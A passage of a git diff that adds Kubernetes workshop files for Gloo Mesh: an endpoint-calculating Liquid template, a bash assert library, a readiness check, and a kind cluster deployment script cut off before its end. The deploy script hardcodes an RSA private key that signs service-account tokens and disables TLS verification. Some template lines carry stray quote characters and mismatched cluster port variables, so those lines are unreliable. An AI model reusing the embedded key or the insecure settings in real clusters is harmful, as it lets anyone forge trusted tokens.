7815Hg1x1MDAxMU8/p1x1MDAxYo33yeVcdTAwMTO+epmFXHUwMDAy7nRjSFlKXHRgQEZcdTAwMDTnytmaXHUwMDAx7Fx1MDAxNEtoxLmJhlKTXG7hbTntXHUwMDEz8WQuwGs1XHUwMDA3gpiBXHUwMDFlXGZcdTAwMTNcdTAwMTngXuW+mGPygFx1MDAxMtVKhXfJM6o13sOZVu15M2ywj/5ylVx1MDAwMFx1MDAxYidBNMfjfrnVXHJcXO6Dy758JYBn6E95l1x1MDAxZlx1MDAxMkRcdTAwMTTGcovqQ/9HXHUwMDFjUFx1MDAxMcCQZfKfXHUwMDA0XHUwMDE4NVx1MDAxYVx1MDAwNOKCXHUwMDE3f6U8/Ir8MVx1MDAwMbhcdTAwMDUrZDN7XHUwMDBlKlx1MDAwMpBcdTAwMTlVT7QgXHUwMDE0rCtOlEtWlFKWNkOVXGJcdTAwMThfILH06jA/IUyCykmndVx1MDAwNlwi7cFfXHUwMDEzXSylPVxiXGaEzrAgXHUwMDE4U7VcYu5euKc9XHUwMDEw8WeS0pZpXHUwMDBmLHVXSKSbXHUwMDFmtZsnUVxiv7avpome6ywr2JSAu1xiM1qQUlxyXHUwMDAwcjXtgVx1MDAwMM1qQlx1MDAwMNwhLblE9MxHuXjTv7lWKH+x3l/2n1tcdTAwMGI/7N3+XHUwMDE3XHUwMDBiXHUwMDEwXHUwMDA2QnG6ue/46j6eXHUwMDFjdGit9/pQeFx1MDAxZeC+7H7kPoNupjAkiW1cIrHTc4wxcniOhXfK11x1MDAwNpnanlx1MDAxZESlJW2XXCIuk1xc8GLXf/xQXFyAxJCn7JdcdTAwMTCQVFx1MDAwN8c758T2ns/dXFwgXHUwMDEztmRzLytcdTAwMDd751x1MDAxNoCoYYDwxeaZ3uV7efnWqvRcdTAwMGL8MTZcdTAwMWUmUtWnUohcdTAwMDedyakkysJamVxcOvNqXHUwMDBivJhcdTAwMDVcdTAwMTSWXHUwMDE2poJRziSRSPlgnFxyklx1MDAwYjz7XHUwMDA0L2TLwlx1MDAxMWHLpfo9cVx1MDAxY/bKMUP/sWy9kyNiil3NXHUwMDBlrFx1MDAxY588vtkxxbs5XHUwMDFhXGLyUbRCXHUwMDAxeW7jaVDTzGU2okuJ3IyU6p+dytO07DUzPDg8qJi0XHUwMDEwxZKJ+atcXOVBu6r1cTXswYPErevjXG5cdTAwMGZcdTAwMTIkuKl9/4+dXHS5XHUwMDFiXHUwMDBmkoDwINmNXHUwMDA3sU+SL2HSzPTFm4PdXrbKXHUwMDEy3d5D8yWcnNZQJEzuwqWg86BhPVx1MDAwYsuvTqxyhVx1MDAwNe11id5jq4+vXHUwMDA2iSlcdTAwMTSlYHieqbMvflx1MDAxNau1q+FcIr1cdTAwMWG9i2H2cXbdutS2bV18o7Pvn6NlvefyaVx1MDAwNUfG2Fx1MDAxNjm0Sfb+XHUwMDE4x+l6PCojvdebxmRy9VlcdTAwMGY8g0tCLITcrVnD31xudC9cIphqKtkpVSzGhGKmTjrH5kfHXHUwMDFlXFzHXHUwMDEym+91dZ6UIFx1MDAxNG1cdTAwMTH2vrpcdTAwMTXTfnF23Yx2XHUwMDFm6IDPMt3qjddk4IBxoJKgPrl5dbrTpdJcdTAwMGVcdTAwMTbUx2FBl5pBXHUwMDE3XHUwMDE2JJiDusf/sUWCu3EgXHJcYlx1MDAwN9I9klx1MDAwYlx1MDAwNfZMP1x1MDAwMUtUXCKOhNpcXFx1MDAxM8bTvJO9XHUwMDFmhUdcdTAwMDNyJXWi3/xA407Ao1pUm1x1MDAxOcx/XHUwMDEygtFSXFybSFNayVx1MDAwNcOKYI35fkj3wNUkylQ/4pNan/skXHUwMDE4Jm+uSkPy0Vx1MDAxYr6iSrdwd8lcdTAwMTMvjWhwM1x1MDAwMc+tmuRIx3tey1x1MDAxZaua5FxcTmFdPqT7XHJcdTAwMTfLrsiAY+dD2udcdTAwMTCu4EI2r7De3PXif5xcdTAwMDHFhaCRhJ9GUtLSh9JIh0iIXHUwMDE0XG5cdTAwMTOtxE+FyoVcclx1MDAxY45cdTAwMDByVUvD6sVjr+pcdTAwMGVcdTAwMTOPlFx1MDAxNLlcdTAwMDaCLYNHxz53h5GMeZaWXHSiNVx1MDAxNZpvUaNSeVx1MDAxOMpaXCJ5XHUwMDEzmaRZ/eouXHUwMDE2yaXULijyXHUwMDFia1SoRlx1MDAxNl1cXMtcdTAwMWSiuLCw1ppcdTAwMDBeXHUwMDEzxMdd+v1FKlxudlx1MDAwNZ/lZ9r+c5yIp6X+XHUwMDE41/toXHUwMDE2v3zT6PM6Xd1fXHUwMDBmXHUwMDFmadmfXCKVc3xq57LsOqznfsNcdTAwMTNiPZ+u0ZhcdG7yTLdoXCLmf57BXHUwMDA1e9xPcUhqiVx1MDAwMymOQ2A9ylx1MDAwNENanTLnJIBgXHUwMDBmsNPFrDVuXlxcdac992mlR6uB8cdKy3Bvaae7XHUwMDAzPs48XHUwMDAzaFx1MDAxOCMlhNymbO0p2+nnO9P7z1xu5rPbz7typFh/XHUwMDBmut9wnmv71UuAOt33XHUwMDE4bFVLSoP8MJKAgX1aXHUwMDAw7tFcbmvXNjRcdTAwMTRYgbBT1sfsXHUwMDAz+lL44fHjKswnrZFOhWL1l/ro+Ta46OzcXHUwMDFjh0c63iMtm9MprajKvL69JIdccjWLTlx1MDAwNrPXXHUwMDAznMJdXHUwMDBihTqy+Zx9zd6np6JcdTAwMWRcdTAwMTK1psdI+a3WzaCKbJTQMIFz42wpXHUwMDE2RTE86Fx1MDAxZWDd51Qu0u/AaTQ+w7fx2Pvw6XY2PMC6T9O3QSc9ruhy8vPms5VcdTAwMWQ0XHUwMDA2mUNM7D04OayDv+43PCH85drT1YmxpkoysoVcdTAwMGX1P8/gwl/qq0VcdTAwMDWxyEZa9Lv632OKsJQnbZhcdTAwMWJAXHUwMDA0XHUwMDFja/d6XHUwMDE3d7VR89v9nWug4zJcdTAwMDB2bnRcdTAwMGb8y71NV6lMXHUwMDE3Xkw259276+frxn3q6TOuVD5SilXiicvImeFfJ+NySi3KiFRMSI24rcnFQTNEd4O/iCEkXHRcdHDEwk9xdmqpm8/4WzTbV1x1MDAxZr3PXFy/3828XHUwMDBlftDvodDvkY73vJY9Vtj84NtdXHUwMDA3+txveELQJ7zj25gxYZJcdTAwMDK3qLHzP89zXHUwMDAxfUuqgyNLbaQ6vlx1MDAwYvMpXHUwMDAxqozRIHftPVx1MDAwMea7XHUwMDFkjVu9b8d7a6DSMt5bbHInbuXKZ/ZcdTAwMTFcdTAwMTFcbim8RdOPfDxLMvilejvRj61ZpHRcdTAwMWa/f1xyfncuhsl8vtEvZl3u94/kZlx1MDAwMYp9k1E0XmVV6lJcZoQoZo4pwYFjVT/9OHkrik77LfaSzVxcXed7vWa6/6g207v7aDJXQbBx559krVHruktcdTAwMDFbfvn3JEP/3stuqll6liRgU1xix0ybr42ZPUzeXHUwMDEzscpNMT28XHUwMDE2w2xavzzd5Fx1MDAwMu+PYVx1MDAxNDFLmOYuXGZcYobbmjXNW/FZprlcdTAwMGJTgpuRvtyvydee3C5dSv9WuV1rrLQ+aWOLfZi9d11OXFy9p3KJbu65O0unc2+9yoZcdTAwMWXm0zF7pN1yPLFTMvvvvfgyu3c7L+9eXHUwMDE3mpupyHKLXHUwMDEyX98nXHUwMDE5SP9cciMmY1xytDrhkiHgZlx1MDAwN6dcdTAwMTNiKSQwxlxuXHUwMDE0qlwiYr+yXHUwMDA371x1MDAwMWamr1x0oPz5uCBsf1wii+5+lulcdTAwMDNAKHC6maSmV4uTXHUwMDE0MzOe9D++l5e/wrmwz+vB8ztzqaniWC2g+sXXsDBmXHUwMDExQUBcdTAwMTEoM95cdTAwMTN035pcdGZn21gn5E2D5lqhvsV6f9l/Lkuf3+VQXHUwMDBmgvY+u5oli7f0I11cdTAwMWK8o9DL4ot4iKjfvaaYPS3IaVwig/ksbJetXHUwMDFmyFx1MDAxZs5cdTAwMDI9vspKXFz4XHSFQ/hlt1x1MDAwMTXHSM51Z/yD8fVcdTAwMWaJo1x0I8bGWCmdm2/HMzGGmp6JeiO1sixBXHUwMDFj/LGLXGY5MNNwx1x1MDAxZoCgcFx1MDAxMCuVa1egXHUwMDE4O2hcdTAwMThcdPuClPC1K9hI3FxccFx1MDAwZau8ua1IWi9kKXrlXVx1MDAxNq7Id1WIyYf4ZSTyfukmZEMgZc1oTaK06WxccsJUrDZMXHUwMDA0y5owM0JcdTAwMTI+XHUwMDA1gFx1MDAxYpM/8mXLjomFR/4+SfHLR5RrxzqpcTGazPS9doVNOT1AXHUwMDFjXGZcYlx1MDAwNzOpV3alXHUwMDFk87OIWm3juIv8/iUn//r9VP4u9fvpMZDx17f6e9qqzS69893/+r1cdTAwMDEjZGrmu/zP//71v/9cdTAwMWZbSLlAIn0= + + + + ingress gatewayeastwest gatewayistiodGloo Mesh agentbookinfo workspacebookinfo-frontendsnamespacebookinfo-backendsnamespacegateways workspaceproductpagedetailsratingsreviewsproductpagedetailsratingsreviewsextauthrate limiterredisistiodGloo Mesh agentGloo Mesh Gateway componentsGloo Mesh management serverGloo Mesh dashboardPrometheusKubernetes clustersistio-gatewaysnamespaceKubernetes APIserverKubernetes APIserveringress gatewayeastwest gatewayextauthrate limiterredisgloo-mesh-addonsnamespacenot-in-meshin-meshhttpbinnamespacev1v2v1v2v3standard PodPod with EnvoyGloo Mesh PodIstio PodLegendClient \ No newline at end of file diff --git a/gloo-mesh/platform/2-4/airgap/default/partials/calculate-endpoints.liquid b/gloo-mesh/platform/2-4/airgap/default/partials/calculate-endpoints.liquid new file mode 100644 index 0000000000..e7bd4df90d --- /dev/null +++ b/gloo-mesh/platform/2-4/airgap/default/partials/calculate-endpoints.liquid @@ -0,0 +1,58 @@ +{%- assign fqdn_httpbin = vars.httpbin_fqdn | default: "httpbin.example.com" %} +{%- assign fqdn_bookinfo = vars.bookinfo_fqdn | default: "bookinfo.example.com" %} +{%- assign fqdn_portal = vars.portal_fqdn | default: "portal.example.com" %} +{%- assign fqdn_grpcbin = vars.grpcbin_fqdn | default: "grpcbin.example.com" %} +{%- assign fqdn_backstage = vars.backstage_fqdn | default: "backstage.example.com" %} +{%- assign fqdn_cluster1_httpbin = "cluster1-" | append: fqdn_httpbin %} +{%- assign fqdn_cluster2_httpbin = "cluster2-" | append: fqdn_httpbin %} +{%- assign fqdn_cluster1_bookinfo = "cluster1-" | append: fqdn_bookinfo %} +{%- assign fqdn_cluster2_bookinfo = "cluster2-" | append: fqdn_bookinfo %} +{%- assign fqdn_cluster1_portal = "cluster1-" | append: fqdn_portal %} +{%- assign fqdn_cluster2_portal = "cluster2-" | append: fqdn_portal %} +{%- assign fqdn_cluster1_grpcbin = "cluster1-" | append: fqdn_grpcbin %} +{%- assign fqdn_cluster2_grpcbin = "cluster2-" | append: fqdn_grpcbin %} +{%- assign fqdn_cluster1_backstage = "cluster1-" | append: fqdn_backstage %} +{%- assign fqdn_cluster2_backstage = "cluster2-" | append: fqdn_backstage %} +{%- if vars.node_port or vars.cluster1.node_port %} +{%- assign endpoint_http_gw_cluster1_httpbin = fqdn_cluster1_httpbin | append: ":${NODEPORT_CLUSTER1_HTTP}" %} +{%- assign endpoint_https_gw_cluster1_httpbin = fqdn_cluster1_httpbin | append: ":${NODEPORT_CLUSTER1_HTTPS}" %} +{%- assign endpoint_http_gw_cluster1_bookinfo = fqdn_cluster1_bookinfo | append: ":${NODEPORT_CLUSTER1_HTTP}" %} +{%- assign endpoint_https_gw_cluster1_bookinfo = fqdn_cluster1_bookinfo | append: ":${NODEPORT_CLUSTER1_HTTPS}" %} +{%- assign endpoint_http_gw_cluster1_portal = fqdn_cluster1_portal | append: ":${NODEPORT_CLUSTER1_HTTP}" %} +{%- assign endpoint_https_gw_cluster1_portal = fqdn_cluster1_portal | append: ":${NODEPORT_CLUSTER1_HTTPS}" %} +{%- assign endpoint_http_gw_cluster1_grpcbin = fqdn_cluster1_grpcbin | append: ":${NODEPORT_CLUSTER1_HTTP}" %} +{%- assign endpoint_https_gw_cluster1_grpcbin = fqdn_cluster1_grpcbin | append: ":${NODEPORT_CLUSTER1_HTTPS}" %} +{%- assign endpoint_http_gw_cluster1_backstage = fqdn_cluster1_backstage | append: ":${NODEPORT_CLUSTER1_HTTP}" %} +{%- assign endpoint_https_gw_cluster1_backstage = fqdn_cluster1_backstage | append: ":${NODEPORT_CLUSTER1_HTTPS}" %} +{%- if vars.node_port or vars.cluster2.node_port %} +{%- assign endpoint_http_gw_cluster2_httpbin = fqdn_cluster2_httpbin | append: ":${NODEPORT_CLUSTER2_HTTP}" %} +{%- assign endpoint_https_gw_cluster2_httpbin = fqdn_cluster2_httpbin | append: ":${NODEPORT_CLUSTER2_HTTPS}" %} +{%- assign endpoint_http_gw_cluster2_bookinfo = fqdn_cluster2_bookinfo | append: ":${NODEPORT_CLUSTER2_HTTP}')" %} +{%- assign endpoint_https_gw_cluster2_bookinfo = fqdn_cluster2_bookinfo | append: ":${NODEPORT_CLUSTER2_HTTPS}" %} +{%- assign endpoint_http_gw_cluster2_portal = fqdn_cluster2_portal | append: ":${NODEPORT_CLUSTER2_HTTP}')" %} +{%- assign endpoint_https_gw_cluster2_portal = fqdn_cluster2_portal | append: ":${NODEPORT_CLUSTER2_HTTPS}" %} +{%- assign endpoint_http_gw_cluster2_grpcbin = fqdn_cluster2_grpcbin | append: ":${NODEPORT_CLUSTER1_HTTP}" %} +{%- assign endpoint_https_gw_cluster2_grpcbin = fqdn_cluster2_grpcbin | append: ":${NODEPORT_CLUSTER1_HTTPS}" %} +{%- assign endpoint_http_gw_cluster2_backstage = fqdn_cluster2_backstage | append: ":${NODEPORT_CLUSTER2_HTTP}')" %} +{%- assign endpoint_https_gw_cluster2_backstage = fqdn_cluster2_backstage | append: ":${NODEPORT_CLUSTER2_HTTPS}" %} +{%- endif %}{% comment %}cluster2 nodeport{% endcomment %} +{%- else %} +{%- assign endpoint_http_gw_cluster1_httpbin = fqdn_cluster1_httpbin %} +{%- assign endpoint_https_gw_cluster1_httpbin = fqdn_cluster1_httpbin %} +{%- assign endpoint_http_gw_cluster1_bookinfo = fqdn_cluster1_bookinfo %} +{%- assign endpoint_https_gw_cluster1_bookinfo = fqdn_cluster1_bookinfo %} +{%- assign endpoint_http_gw_cluster1_portal = fqdn_cluster1_portal %} +{%- assign endpoint_https_gw_cluster1_portal = fqdn_cluster1_portal %} +{%- assign endpoint_http_gw_cluster1_backstage = fqdn_cluster1_backstage %} +{%- assign endpoint_https_gw_cluster1_backstage = fqdn_cluster1_backstage %} +{%- assign endpoint_http_gw_cluster2_httpbin = fqdn_cluster2_httpbin %} +{%- assign endpoint_https_gw_cluster2_httpbin = fqdn_cluster2_httpbin %} +{%- assign endpoint_http_gw_cluster2_bookinfo = fqdn_cluster2_bookinfo %} +{%- assign endpoint_https_gw_cluster2_bookinfo = fqdn_cluster2_bookinfo %} +{%- assign endpoint_http_gw_cluster2_portal = fqdn_cluster2_portal %} +{%- assign endpoint_https_gw_cluster2_portal = fqdn_cluster2_portal %} +{%- assign endpoint_http_gw_cluster2_grpcbin = fqdn_cluster2_grpcbin %} +{%- assign endpoint_https_gw_cluster2_grpcbin = fqdn_cluster2_grpcbin %} +{%- assign endpoint_http_gw_cluster2_backstage = fqdn_cluster2_backstage %} +{%- assign endpoint_https_gw_cluster2_backstage = fqdn_cluster2_backstage %} +{%- endif %} \ No newline at end of file diff --git a/gloo-mesh/platform/2-4/airgap/default/scripts/assert.sh b/gloo-mesh/platform/2-4/airgap/default/scripts/assert.sh new file mode 100755 index 0000000000..75ba95ac90 --- /dev/null +++ b/gloo-mesh/platform/2-4/airgap/default/scripts/assert.sh @@ -0,0 +1,252 @@ +#!/usr/bin/env bash + +##################################################################### +## +## title: Assert Extension +## +## description: +## Assert extension of shell (bash, ...) +## with the common assert functions +## Function list based on: +## http://junit.sourceforge.net/javadoc/org/junit/Assert.html +## Log methods : inspired by +## - https://natelandau.com/bash-scripting-utilities/ +## author: Mark Torok +## +## date: 07. Dec. 2016 +## +## license: MIT +## +##################################################################### + +if command -v tput &>/dev/null && tty -s; then + RED=$(tput setaf 1) + GREEN=$(tput setaf 2) + MAGENTA=$(tput setaf 5) + NORMAL=$(tput sgr0) + BOLD=$(tput bold) +else + RED=$(echo -en "\e[31m") + GREEN=$(echo -en "\e[32m") + MAGENTA=$(echo -en "\e[35m") + NORMAL=$(echo -en "\e[00m") + BOLD=$(echo -en "\e[01m") +fi + +log_header() { + printf "\n${BOLD}${MAGENTA}========== %s ==========${NORMAL}\n" "$@" >&2 +} + +log_success() { + printf "${GREEN}✔ %s${NORMAL}\n" "$@" >&2 +} + +log_failure() { + printf "${RED}✖ %s${NORMAL}\n" "$@" >&2 + file=.test-error.log + echo "$@" >> $file + echo "#############################################" >> $file + echo "#############################################" >> $file +} + + +assert_eq() { + local expected="$1" + local actual="$2" + local msg="${3-}" + + if [ "$expected" == "$actual" ]; then + return 0 + else + [ "${#msg}" -gt 0 ] && log_failure "$expected == $actual :: $msg" || true + return 1 + fi +} + +assert_not_eq() { + local expected="$1" + local actual="$2" + local msg="${3-}" + + if [ ! "$expected" == "$actual" ]; then + return 0 + else + [ "${#msg}" -gt 0 ] && log_failure "$expected != $actual :: $msg" || true + return 1 + fi +} + +assert_true() { + local actual="$1" + local msg="${2-}" + + assert_eq true "$actual" "$msg" + return "$?" +} + +assert_false() { + local actual="$1" + local msg="${2-}" + + assert_eq false "$actual" "$msg" + return "$?" +} + +assert_array_eq() { + + declare -a expected=("${!1-}") + # echo "AAE ${expected[@]}" + + declare -a actual=("${!2}") + # echo "AAE ${actual[@]}" + + local msg="${3-}" + + local return_code=0 + if [ ! "${#expected[@]}" == "${#actual[@]}" ]; then + return_code=1 + fi + + local i + for (( i=1; i < ${#expected[@]} + 1; i+=1 )); do + if [ ! "${expected[$i-1]}" == "${actual[$i-1]}" ]; then + return_code=1 + break + fi + done + + if [ "$return_code" == 1 ]; then + [ "${#msg}" -gt 0 ] && log_failure "(${expected[*]}) != (${actual[*]}) :: $msg" || true + fi + + return "$return_code" +} + +assert_array_not_eq() { + + declare -a expected=("${!1-}") + declare -a actual=("${!2}") + + local msg="${3-}" + + local return_code=1 + if [ ! "${#expected[@]}" == "${#actual[@]}" ]; then + return_code=0 + fi + + local i + for (( i=1; i < ${#expected[@]} + 1; i+=1 )); do + if [ ! "${expected[$i-1]}" == "${actual[$i-1]}" ]; then + return_code=0 + break + fi + done + + if [ "$return_code" == 1 ]; then + [ "${#msg}" -gt 0 ] && log_failure "(${expected[*]}) == (${actual[*]}) :: $msg" || true + fi + + return "$return_code" +} + +assert_empty() { + local actual=$1 + local msg="${2-}" + + assert_eq "" "$actual" "$msg" + return "$?" +} + +assert_not_empty() { + local actual=$1 + local msg="${2-}" + + assert_not_eq "" "$actual" "$msg" + return "$?" +} + +assert_contain() { + local haystack="$1" + local needle="${2-}" + local msg="${3-}" + + if [ -z "${needle:+x}" ]; then + return 0; + fi + + if [ -z "${haystack##*$needle*}" ]; then + return 0 + else + [ "${#msg}" -gt 0 ] && log_failure "$haystack doesn't contain $needle :: $msg" || true + return 1 + fi +} + +assert_not_contain() { + local haystack="$1" + local needle="${2-}" + local msg="${3-}" + + if [ -z "${needle:+x}" ]; then + return 0; + fi + + if [ "${haystack##*$needle*}" ]; then + return 0 + else + [ "${#msg}" -gt 0 ] && log_failure "$haystack contains $needle :: $msg" || true + return 1 + fi +} + +assert_gt() { + local first="$1" + local second="$2" + local msg="${3-}" + + if [[ "$first" -gt "$second" ]]; then + return 0 + else + [ "${#msg}" -gt 0 ] && log_failure "$first > $second :: $msg" || true + return 1 + fi +} + +assert_ge() { + local first="$1" + local second="$2" + local msg="${3-}" + + if [[ "$first" -ge "$second" ]]; then + return 0 + else + [ "${#msg}" -gt 0 ] && log_failure "$first >= $second :: $msg" || true + return 1 + fi +} + +assert_lt() { + local first="$1" + local second="$2" + local msg="${3-}" + + if [[ "$first" -lt "$second" ]]; then + return 0 + else + [ "${#msg}" -gt 0 ] && log_failure "$first < $second :: $msg" || true + return 1 + fi +} + +assert_le() { + local first="$1" + local second="$2" + local msg="${3-}" + + if [[ "$first" -le "$second" ]]; then + return 0 + else + [ "${#msg}" -gt 0 ] && log_failure "$first <= $second :: $msg" || true + return 1 + fi +} \ No newline at end of file diff --git a/gloo-mesh/platform/2-4/airgap/default/scripts/check.sh b/gloo-mesh/platform/2-4/airgap/default/scripts/check.sh new file mode 100755 index 0000000000..fa52484b28 --- /dev/null +++ b/gloo-mesh/platform/2-4/airgap/default/scripts/check.sh @@ -0,0 +1,16 @@ +#!/usr/bin/env bash + +printf "Waiting for all the kube-system pods to become ready in context $1" +until [ $(kubectl --context $1 -n kube-system get pods -o jsonpath='{range .items[*].status.containerStatuses[*]}{.ready}{"\n"}{end}' | grep false -c) -eq 0 ]; do + printf "%s" "." + sleep 1 +done +printf "\n kube-system pods are now ready \n" + +printf "Waiting for all the metallb-system pods to become ready in context $1" +until [ $(kubectl --context $1 -n metallb-system get pods -o jsonpath='{range .items[*].status.containerStatuses[*]}{.ready}{"\n"}{end}' | grep false -c) -eq 0 ]; do + printf "%s" "." + sleep 1 +done +printf "\n metallb-system pods are now ready \n" + diff --git a/gloo-mesh/platform/2-4/airgap/default/scripts/deploy-aws-with-calico.sh b/gloo-mesh/platform/2-4/airgap/default/scripts/deploy-aws-with-calico.sh new file mode 100755 index 0000000000..1c7a2ec3cf --- /dev/null +++ b/gloo-mesh/platform/2-4/airgap/default/scripts/deploy-aws-with-calico.sh @@ -0,0 +1,240 @@ +#!/usr/bin/env bash +set -o errexit + +number=$1 +name=$2 +region=$3 +zone=$4 +twodigits=$(printf "%02d\n" $number) +kindest_node=${KINDEST_NODE:-kindest\/node:v1.28.0@sha256:b7a4cad12c197af3ba43202d3efe03246b3f0793f162afb40a33c923952d5b31} + +if [ -z "$3" ]; then + region=us-east-1 +fi + +if [ -z "$4" ]; then + zone=us-east-1a +fi + +if hostname -I 2>/dev/null; then + myip=$(hostname -I | awk '{ print $1 }') +else + myip=$(ipconfig getifaddr en0) +fi + +reg_name='kind-registry' +reg_port='5000' +running="$(docker inspect -f '{{.State.Running}}' "${reg_name}" 2>/dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p "0.0.0.0:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml <./oidc/sa-signer-pkcs8.pub +-----BEGIN PUBLIC KEY----- +MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA53YiBcrn7+ZK0Vb4odeA +1riYdvEb8To4H6/HtF+OKzuCIXFQ+bRy7yMrDGITYpfYPrTZOgfdeTLZqOiAj+cL +395nvxdly83SUrdh7ItfOPRluuuiPHnFn111wpyjBw5nut4Kx+M5MksNfA1hU0Zw +zIM9OviX8iEF8xHWUtz4BAMDG8N6+zpLo0pAzaei5hKuLZ9dZOzHBC8VOW82cQMm +5X5uOKsCHMtNSjqYUNB1DxN6xxM+odGWT/6xthPGk6YCxmO28YHPFZfiS2eAIpD8 +2p/16KQKU6TkZSrldkYxiHIPhu+5f9faZJG7dB9pLN1SfdTBio4PK5Mz9muLUCv9 +ywIDAQAB +-----END PUBLIC KEY----- +EOF + +cat <<'EOF' >./oidc/sa-signer.key +-----BEGIN RSA PRIVATE KEY----- +MIIEpAIBAAKCAQEA53YiBcrn7+ZK0Vb4odeA1riYdvEb8To4H6/HtF+OKzuCIXFQ ++bRy7yMrDGITYpfYPrTZOgfdeTLZqOiAj+cL395nvxdly83SUrdh7ItfOPRluuui +PHnFn111wpyjBw5nut4Kx+M5MksNfA1hU0ZwzIM9OviX8iEF8xHWUtz4BAMDG8N6 ++zpLo0pAzaei5hKuLZ9dZOzHBC8VOW82cQMm5X5uOKsCHMtNSjqYUNB1DxN6xxM+ +odGWT/6xthPGk6YCxmO28YHPFZfiS2eAIpD82p/16KQKU6TkZSrldkYxiHIPhu+5 +f9faZJG7dB9pLN1SfdTBio4PK5Mz9muLUCv9ywIDAQABAoIBAB8tro+RMYUDRHjG +el9ypAxIeWEsQVNRQFYkW4ZUiNYSAgl3Ni0svX6xAg989peFVL+9pLVIcfDthJxY +FVlNCjBxyQ/YmwHFC9vQkARJEd6eLUXsj8INtS0ubbp1VxCQRDDL0C/0z7OSoJJh +SwboqjEiTJExA2a+RArmEDTBRzdi3t+kT8G23JcqOivrITt17K6bQYyJXw7/vUdc +r/R+hfd5TqVq92VddzDT7RNJAxsbPPXjGnESlq1GALBDs+uBGYsP0fiEJb2nicSv +z9fBnBeERhut1gcE0C0iLRQZb+3r8TitBtxrZv+0BHgXrkKtXDwWTqGEKOwC4dBn +7nxkH2ECgYEA6+/DOTABGYOWOQftFkJMjcugzDrjoGpuXuVOTb65T+3FHAzU93zy +3bt3wQxrlugluyy9Sc/PL3ck2LgUsPHZ+s7zsdGvvGALBD6bOSSKATz9JgjwifO8 +PgqUz1kXRwez2CtKLOOCFFtcIzEdWIzsa1ubNqLzgN7rD+XBkUc2uEcCgYEA+yTy +72EDMQVoIZOygytHsDNdy0iS2RsBbdurT27wkYuFpFUVWdbNSL+8haE+wJHseHcw +BD4WIMpU+hnS4p4OO8+6V7PiXOS5E/se91EJigZAoixgDUiC8ihojWgK9PYEavUo +hULWbayO59SxYWeUI4Ze0GP8Jw8vdB86ib4ulF0CgYEAgyzRuLjk05+iZODwQyDn +WSquov3W0rh51s7cw0LX2wWSQm8r9NGGYhs5kJ5sLwGxAKj2MNSWF4jBdrCZ6Gr+ +y4BGY0X209/+IAUC3jlfdSLIiF4OBlT6AvB1HfclhvtUVUp0OhLfnpvQ1UwYScRI +KcRLvovIoIzP2g3emfwjAz8CgYEAxUHhOhm1mwRHJNBQTuxok0HVMrze8n1eov39 +0RcvBvJSVp+pdHXdqX1HwqHCmxhCZuAeq8ZkNP8WvZYY6HwCbAIdt5MHgbT4lXQR +f2l8F5gPnhFCpExG5ZLNg/urV3oAQE4stHap21zEpdyOMhZb6Yc5424U+EzaFdgN +b3EcPtUCgYAkKvUlSnBbgiJz1iaN6fuTqH0efavuFGMhjNmG7GtpNXdgyl1OWIuc +Yu+tZtHXtKYf3B99GwPrFzw/7yfDwae5YeWmi2/pFTH96wv3brJBqkAWY8G5Rsmd +qF50p34vIFqUBniNRwSArx8t2dq/CuAMgLAtSjh70Q6ZAnCF85PD8Q== +-----END RSA PRIVATE KEY----- +EOF + +cat << EOF > kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} + extraMounts: + - containerPath: /etc/kubernetes/oidc + hostPath: /${PWD}/oidc +networking: + disableDefaultCNI: true + serviceSubnet: "10.$(echo $twodigits | sed 's/^0*//').0.0/16" + podSubnet: "10.1${twodigits}.0.0/16" +kubeadmConfigPatches: +- | + kind: ClusterConfiguration + apiServer: + extraArgs: + service-account-key-file: /etc/kubernetes/pki/sa.pub + service-account-key-file: /etc/kubernetes/oidc/sa-signer-pkcs8.pub + service-account-signing-key-file: /etc/kubernetes/oidc/sa-signer.key + service-account-issuer: https://solo-workshop-oidc.s3.us-east-1.amazonaws.com + api-audiences: sts.amazonaws.com + extraVolumes: + - name: oidc + hostPath: /etc/kubernetes/oidc + mountPath: /etc/kubernetes/oidc + readOnly: true + metadata: + name: config +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-central1-docker.pkg.dev"] + endpoint = ["http://us-central1-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].IPAddress') +networkkind=$(echo ${ipkind} | awk -F. '{ print $1"."$2 }') + +kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +kubectl --context kind-kind${number} apply -f https://raw.githubusercontent.com/projectcalico/calico/v3.27.0/manifests/calico.yaml + +# Preload MetalLB images +docker pull quay.io/metallb/controller:v0.13.12 +docker pull quay.io/metallb/speaker:v0.13.12 +kind load docker-image quay.io/metallb/controller:v0.13.12 --name kind${number} +kind load docker-image quay.io/metallb/speaker:v0.13.12 --name kind${number} +kubectl --context=kind-kind${number} apply -f https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml +kubectl --context=kind-kind${number} create secret generic -n metallb-system memberlist --from-literal=secretkey="$(openssl rand -base64 128)" +kubectl --context=kind-kind${number} -n metallb-system rollout status 